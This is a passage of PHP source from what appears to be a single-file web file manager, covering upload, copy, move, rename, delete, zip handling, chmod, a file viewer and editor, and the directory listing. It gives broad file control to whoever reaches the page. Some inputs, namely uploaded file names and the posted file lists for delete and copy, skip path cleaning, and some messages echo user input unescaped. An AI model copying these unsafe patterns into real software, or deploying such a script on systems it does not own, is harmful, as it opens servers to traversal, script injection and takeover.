fm_set_msg('Paths must be not equal', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg('Paths must be not equal', 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
// abs path from
$from = $path . '/' . $f;
// abs path to
$dest = $copy_to_path . '/' . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Rename
if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = $_GET['to'];
$new = fm_clean_path($new);
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if ($old != '' && $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', $old, $new));
} else {
fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', $old, $new), 'error');
}
} else {
fm_set_msg('Names not set', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Download
if (isset($_GET['dl'])) {
$dl = $_GET['dl'];
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' && is_file($path . '/' . $dl)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path . '/' . $dl) . '"');
header('Content-Transfer-Encoding: binary');
header('Connection: Keep-Alive');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($path . '/' . $dl));
readfile($path . '/' . $dl);
exit;
} else {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
}
// Upload
if (isset($_POST['upl']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$total = count($_FILES['upload']['name']);
for ($i = 0; $i < $total; $i++) {
$tmp_name = $_FILES['upload']['tmp_name'][$i];
if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none') {
if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) {
$uploads++;
} else {
$errors++;
}
}
}
if ($errors == 0 && $uploads > 0) {
fm_set_msg(sprintf('All files uploaded to <b>%s</b>', $path));
} elseif ($errors == 0 && $uploads == 0) {
fm_set_msg('Nothing uploaded', 'alert');
} else {
fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Pack files
if (isset($_POST['group'], $_POST['zip']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!class_exists('ZipArchive')) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.zip';
} else {
$zipname = 'archive_' . date('ymd_His') . '.zip';
}
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
if ($res) {
fm_set_msg(sprintf('Archive <b>%s</b> created', $zipname));
} else {
fm_set_msg('Archive not created', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!class_exists('ZipArchive')) {
fm_set_msg('Operations with archives are not available', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
if ($unzip != '' && is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
//to folder
$tofolder = '';
if (isset($_GET['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
if ($res) {
fm_set_msg('Archive unpacked');
} else {
fm_set_msg('Archive not unpacked', 'error');
}
} else {
fm_set_msg('File not found', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg('Permissions changed');
} else {
fm_set_msg('Permissions not changed', 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (is_file($new_path)) {
$files[] = $file;
} elseif (is_dir($new_path) && $file != '.' && $file != '..') {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b><?php echo fm_t('Uploading files') ?></b></p>
<p class="break-word"><?php echo fm_t('Destination folder:') ?> <?php echo fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH) ?></p>
<form action="" method="post" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="upl" value="1">
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<input type="file" name="upload[]"><br>
<br>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php echo fm_t('Upload', $lang) ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> <?php echo fm_t('Cancel', $lang) ?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
$copy_files = $_POST['file'];
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg('Nothing selected', 'alert');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b>Copying</b></p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><?php echo fm_t('Files:') ?> <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><?php echo fm_t('Source folder:') ?> <?php echo fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH) ?><br>
<label for="inp_copy_to"><?php echo fm_t('Destination folder:') ?></label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
</p>
<p><label><input type="checkbox" name="move" value="1"> <?php echo fm_t('Move', $lang) ?></label></p>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php echo fm_t('Copy', $lang) ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> <?php echo fm_t('Cancel', $lang) ?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<p><b><?php echo fm_t('Copying', $lang) ?></b></p>
<p class="break-word">
<?php echo fm_t('Source path:', $lang) ?> <?php echo fm_convert_win(FM_ROOT_PATH . '/' . $copy) ?><br>
<?php echo fm_t('Destination folder:', $lang) ?> <?php echo fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> <?php echo fm_t('Copy', $lang) ?></a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> <?php echo fm_t('Move', $lang) ?></a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> <?php echo fm_t('Cancel', $lang) ?></a></b>
</p>
<p><i><?php echo fm_t('Select folder:') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
// file viewer
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_zip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
if ($ext == 'zip') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_convert_win($file) ?>"</b></p>
<p class="break-word">
<?php echo fm_t('Full path:', $lang) ?> <?php echo fm_convert_win($file_path) ?><br>
<?php echo fm_t('File size:', $lang) ?> <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?><br>
<?php echo fm_t('MIME-type:', $lang) ?> <?php echo $mime_type ?><br>
<?php
// ZIP info
if ($is_zip && $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
Files in archive: <?php echo $total_files ?><br>
Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo fm_t('Download', $lang) ?></a></b>
<b><a href="<?php echo $file_url ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo fm_t('Open', $lang) ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY && $is_zip && $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo fm_t('UnZip', $lang) ?></a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="<?php echo fm_t('UnZip to', $lang) ?> <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
<?php echo fm_t('UnZip to folder', $lang) ?></a></b>
<?php
}
if($is_text && !FM_READONLY) {
?>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo fm_t('Edit', $lang) ?></a></b>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo fm_t('Advanced Edit', $lang) ?></a></b>
<?php }
if($send_mail && !FM_READONLY) {
?>
<b><a href="javascript:mailto('<?php echo urlencode(trim(FM_ROOT_PATH.'/'.FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-pencil-square"></i> <?php echo fm_t('Mail', $lang) ?></a></b>
<?php } ?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left"></i> <?php echo fm_t('Back', $lang) ?></a></b>
</p>
<?php
if ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . $fn['name'] . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>Error while fetching archive info</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) {
echo '<p><img src="' . $file_url . '" alt="" class="preview-img"></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . $file_url . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . $file_url . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fm_enc($content) . '</pre>';
}
echo $content;
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(fm_t('File not found', $lang), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
//normal editer
$isNormalEditor = true;
if(isset($_GET['env'])) {
if($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
//Save File
if(isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd=fopen($file_path,"w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(fm_t('File Saved Successfully', $lang), 'alert');
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="edit-file-actions">
<a title="<?php echo fm_t('Cancel', $lang) ?>" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo fm_t('Cancel', $lang) ?></a>
<a title="<?php echo fm_t('Backup', $lang) ?>" href="javascript:backup('<?php echo urlencode($path) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo fm_t('Backup', $lang) ?></a>
<?php if($is_text) { ?>
<?php if($isNormalEditor) { ?>
<a title="<?php echo fm_t('Advanced', $lang) ?>" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-paper-plane"></i> <?php echo fm_t('Advanced Editor', $lang) ?></a>
<button type="button" name="<?php echo fm_t('Save', $lang) ?>" data-url="<?php echo $file_url ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> <?php echo fm_t('Save', $lang) ?></button>
<?php } else { ?>
<a title="<?php echo fm_t('Plain Editor', $lang) ?>" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo fm_t('Plain Editor', $lang) ?></a>
<button type="button" name="Save" data-url="<?php echo $file_url ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo fm_t('Save', $lang) ?></button>
<?php } ?>
<?php } ?>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo '<textarea id="normal-editor" rows="33" cols="120" style="width: 99.5%;">'. htmlspecialchars($content) .'</textarea>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">'. htmlspecialchars($content) .'</div>';
} else {
fm_set_msg(fm_t('FILE EXTENSION HAS NOT SUPPORTED', $lang), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg('File not found', 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<p><b><?php echo fm_t('Change Permissions', $lang) ?></b></p>
<p>
<?php echo fm_t('Full path:', $lang) ?> <?php echo $file_path ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">
<table class="compact-table">
<tr>
<td></td>
<td><b><?php echo fm_t('Owner', $lang) ?></b></td>
<td><b><?php echo fm_t('Group', $lang) ?></b></td>
<td><b><?php echo fm_t('Other', $lang) ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo fm_t('Read', $lang) ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo fm_t('Write', $lang) ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo fm_t('Execute', $lang) ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<button type="submit" class="btn"><i class="fa fa-check-circle"></i> <?php echo fm_t('Change', $lang) ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> <?php echo fm_t('Cancel', $lang) ?></a></b>
</p>
</form>
</div>
<?php
fm_show_footer();
exit;
}
//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
?>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<table class="table"><thead><tr>
<?php if (!FM_READONLY): ?><th style="width:3%"><label><input type="checkbox" title="<?php echo fm_t('Invert selection', $lang) ?>" onclick="checkbox_toggle()"></label></th><?php endif; ?>
<th><?php echo fm_t('Name', $lang) ?></th><th style="width:10%"><?php echo fm_t('Size', $lang) ?></th>
<th style="width:12%"><?php echo fm_t('Modified', $lang) ?></th>
<?php if (!FM_IS_WIN): ?><th style="width:6%"><?php echo fm_t('Perms', $lang) ?></th><th style="width:10%"><?php echo fm_t('Owner', $lang) ?></th><?php endif; ?>
<th style="width:<?php if (!FM_READONLY): ?>13<?php else: ?>6.5<?php endif; ?>%"><?php echo fm_t('Actions', $lang) ?></th></tr></thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?><td></td><?php endif; ?><td colspan="<?php echo !FM_IS_WIN ? '6' : '4' ?>"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></td></tr>
<?php
}
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'icon-folder';
$modif = date(FM_DATETIME_FORMAT, filemtime($path . '/' . $f));
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?><td><label><input type="checkbox" name="file[]" value="<?php echo fm_enc($f) ?>"></label></td><?php endif; ?>
<td><div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?></a><?php echo ($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div></td>
<td><?php echo fm_t('Folder', $lang) ?></td><td><?php echo $modif ?></td>
<?php if (!FM_IS_WIN): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo fm_t('Change Permissions', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?></td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo fm_t('Delete', $lang) ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo fm_t('Delete folder?') ?>');"><i class="fa fa-trash-o" style="background:#FF4136" aria-hidden="true"></i></a>
<a title="<?php echo fm_t('Rename', $lang) ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc($f) ?>');return false;"><i class="fa fa-pencil-square-o" style="background:#FF851B" aria-hidden="true"></i></a>
<a title="<?php echo fm_t('Copy to...') ?>" href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo fm_t('Direct link', $lang) ?>" href="<?php echo FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/' ?>" target="_blank"><i class="fa fa-link" style="background:#001f3f" aria-hidden="true"></i></a>
</td></tr>
<?php
flush();
}
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif = date("d.m.y H:i", filemtime($path . '/' . $f));
$filesize_raw = filesize($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
